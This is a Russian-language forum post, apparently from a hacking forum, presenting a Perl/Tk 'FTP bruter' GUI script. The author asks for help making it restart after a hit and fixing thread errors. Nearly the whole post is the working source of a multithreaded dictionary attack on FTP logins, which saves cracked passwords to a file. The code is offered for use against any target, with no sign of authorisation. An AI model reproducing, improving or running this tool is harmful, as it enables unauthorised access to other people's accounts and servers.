Вобщем вот кое что подправил. проблема была из-за прагмы strict, так как я не мог понять в чём же проблема, принял решение её убрать.
По скрипту. В первое поле вставляем адрес, второе - логин, тректье путь к файлу для сохранения результата. Хочу заметить что его придётся укзаывать ручками, не стал использовать диалог бокс, имхо незачем. Следующее поле для выбора словаря с паролями, сдесь заюзал функцию getOpenFile(), так удобнее, ну и в последнее поле указываем потоки
Скрипт начинает брутить фтп, при удачном нахождении результат заносится в файл который вы указали и прога закрывается. Вот сдесь мне нужна помощь перл гуру, как сделать что бы после нахождения пароля можно было задать новые переменны и начать новый брут?
Если пароль не найден в файл пишется Password not found и прога тоже закрывается (то же самое, как?). В интерпритатор вываливается куча ошибок в любом случае, там и глобал дистракшн из-за exit и сообщения о невозможности создать новые потоки. вот тут тоже выслушаю ваши замечания
Собственно сам код
Код:
#!/usr/bin/perl
use Tk;
use NET::FTP;
use threads;
use threads::shared;
my @pass : shared;
my($main,$addr,$dicfile,$fo,$thrd,$save,$login);
$main=MainWindow->new(-title => 'FTP bruter by Spyder');
$main->geometry ('320x220');
$main->resizable (0,0);
$main->Label(-text => 'Enter targer for brute (without ftp://)')->pack();
$addr=$main->Entry(-width => 50)->pack;
$main->Label(-text => 'Login')->pack;
$login=$main->Entry(-width => 50)->pack;
$main->Label(-text => "Enter path to save result")->pack;
$save=$main->Entry(-width => 50)->pack;
$main->Label(-text => 'Choose file with passwords')->pack;
$dicfile=$main->Entry(-width => 50,
-textvariable => \$fo)->pack;
$main->Button(-text => 'Start brute',
-width=> '80',
-height=> '1',
-font => 'courier',
-command => \&Brute)->pack(-side => 'bottom');
$main->Button(-text => 'Browse',
-command => \&fileopen)->pack(-side => 'left');
$thrd=$main->Entry(-width => 5)->pack(-side => 'right');
$main->Label(-text => 'Threads:')->pack(-side => 'right');
sub fileopen
{
$fo = $main->getOpenFile();
}
MainLoop;
sub Brute
{
$thr = int($thrd->get);
$file = $dicfile->get;
$fsave = $save->get;
open (SRC, "<$file") or die "Can't open:$!";
Next:
@pass = pass();
my @trl;
for(0..$thr)
{
$trl[$_] = threads->create(\&Brut, $_);
}
for(0..$thr)
{
$trl[$_]->join
}
sub Brut
{
while (@pass) {
$pass = shift @pass;
$fsave = $save->get;
$ip = $addr->get;
$log_in = $login->get;
$ftp = Net::FTP->new($ip);
$ok = $ftp->login($log_in,$pass) or exit "$!";
if ($ok)
{
open (SAVE, ">>$fsave") or exit "Can't save:$!";
print SAVE "Password for $ip is $pass\n";
close (SAVE);
exit;
}
}
}
goto Next;
sub pass
{
my (@mas);
while (<SRC>){
push @mas, $_;
last if (@mas > 300);
}
chomp @mas;
$n = @mas;
if ($n == 0) {
open (SAVE, ">>$fsave") or die "Can't save:$!";
print SAVE "Password not found\n";
close (SAVE);
exit;
} else {
return @mas;
}
}
}
Не знаю то ли это чего вы ждали, но оно всё же работает =))